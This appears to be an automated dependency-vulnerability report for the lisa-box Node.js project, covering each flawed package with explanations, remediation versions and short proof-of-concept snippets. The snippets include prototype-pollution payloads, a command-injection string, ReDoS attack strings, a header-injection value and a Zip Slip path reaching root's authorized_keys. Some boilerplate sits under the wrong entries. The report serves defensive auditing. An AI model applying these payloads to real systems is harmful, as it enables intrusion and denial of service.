
  • Introduced through: lisa-box@mylisabox/lisa-box request@2.88.2 tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Authentication

  • Vulnerable module: jsonwebtoken
  • Introduced through: passport-jwt@2.2.1 and trailpack-passport@2.2.5

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box passport-jwt@2.2.1 jsonwebtoken@7.4.3
    Remediation: Upgrade to passport-jwt@4.0.1.
  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-passport@2.2.5 jsonwebtoken@8.5.1

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.

Exploitability

Users are affected only if all of the following conditions are true for the jwt.verify() function:

  1. A token with no signature is received.

  2. No algorithms are specified.

  3. A falsy (e.g., null, false, undefined) secret or key is passed.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

  • Vulnerable module: cookie
  • Introduced through: trailpack-realtime@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-realtime@2.0.0 engine.io@1.8.5 cookie@0.3.1

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

medium severity

Arbitrary File Write via Archive Extraction (Zip Slip)

  • Vulnerable module: decompress-tar
  • Introduced through: lisa-plugins-manager@0.0.19

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box lisa-plugins-manager@0.0.19 download@8.0.0 decompress@4.2.1 decompress-tar@4.1.1
  • Introduced through: lisa-box@mylisabox/lisa-box lisa-plugins-manager@0.0.19 download@8.0.0 decompress@4.2.1 decompress-tarbz2@4.1.1 decompress-tar@4.1.1
  • Introduced through: lisa-box@mylisabox/lisa-box lisa-plugins-manager@0.0.19 download@8.0.0 decompress@4.2.1 decompress-targz@4.1.1 decompress-tar@4.1.1

Overview

decompress-tar is a tar plugin for decompress.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible to bypass the security measures provided by decompress and conduct ZIP path traversal through symlinks.

PoC

const decompress = require('decompress');

decompress('slip.tar.gz', 'dist').then(files => {
    console.log('done!');
});

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

Remediation

There is no fixed version for decompress-tar.

References

medium severity

Prototype Pollution

  • Vulnerable module: hoek
  • Introduced through: passport-jwt@2.2.1

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box passport-jwt@2.2.1 jsonwebtoken@7.4.3 joi@6.10.1 hoek@2.16.3
    Remediation: Open PR to patch hoek@2.16.3.
  • Introduced through: lisa-box@mylisabox/lisa-box passport-jwt@2.2.1 jsonwebtoken@7.4.3 joi@6.10.1 topo@1.1.0 hoek@2.16.3
    Remediation: Open PR to patch hoek@2.16.3.

Overview

hoek is an Utility methods for the hapi ecosystem.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade hoek to version 4.2.1, 5.0.3 or higher.

References

medium severity

HTTP Header Injection

  • Vulnerable module: nodemailer
  • Introduced through: trailpack-email@2.0.1

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-email@2.0.1 nodemailer@4.7.0

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.

PoC:

const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});

Remediation

Upgrade nodemailer to version 6.6.1 or higher.

References

medium severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: sequelize
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to improper user-input sanitization, due to unsafe fall-through in GET WHERE conditions.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: sqlite3@4.2.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box sqlite3@4.2.0 node-pre-gyp@0.11.0 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Command Injection

  • Vulnerable module: enpeem
  • Introduced through: lisa-plugins-manager@0.0.19

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box lisa-plugins-manager@0.0.19 enpeem@2.2.0

Overview

enpeem is a lightweight wrapper for accessing npm programmatically (alternative to adding npm as a dependency)

Affected versions of this package are vulnerable to Command Injection. The options.dir argument is provided to the exec function without any sanitization.

PoC By JHU System Security Lab

var root = require("enpeem");
var attack_code = "& echo vulnerable > create.txt &";
var opts = {
  "production": attack_code
}
root.update(opts, function(){});

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for enpeem.

References

medium severity

Open Redirect

  • Vulnerable module: got
  • Introduced through: lisa-plugins-manager@0.0.19

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box lisa-plugins-manager@0.0.19 download@8.0.0 got@8.3.2

Overview

Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.

Remediation

Upgrade got to version 11.8.5, 12.1.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: color-string
  • Introduced through: trailpack-realtime@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-realtime@2.0.0 primus@5.2.2 diagnostics@1.0.1 colorspace@1.0.1 color@0.8.0 color-string@0.3.0

Overview

color-string is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade color-string to version 1.5.5 or higher.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.10.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: http-cache-semantics
  • Introduced through: lisa-plugins-manager@0.0.19

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box lisa-plugins-manager@0.0.19 download@8.0.0 got@8.3.2 cacheable-request@2.1.4 http-cache-semantics@3.8.1

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.

PoC

Steps to reproduce:

Run the following script in Node.js after installing the http-cache-semantics NPM package:

const CachePolicy = require("http-cache-semantics");

for (let i = 0; i <= 5; i++) {

const attack = "a" + " ".repeat(i * 7000) +
"z";

const start = performance.now();
new CachePolicy({
headers: {},
}, {
headers: {
"cache-control": attack,
},


});
console.log(`${attack.length}: ${performance.now() - start}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade http-cache-semantics to version 4.1.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: nodemailer
  • Introduced through: trailpack-email@2.0.1

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-email@2.0.1 nodemailer@4.7.0

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nodemailer to version 6.9.9 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: sequelize
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Information Exposure due to improper user-input, by allowing an attacker to create malicious queries leading to SQL errors.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1 validator@5.7.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

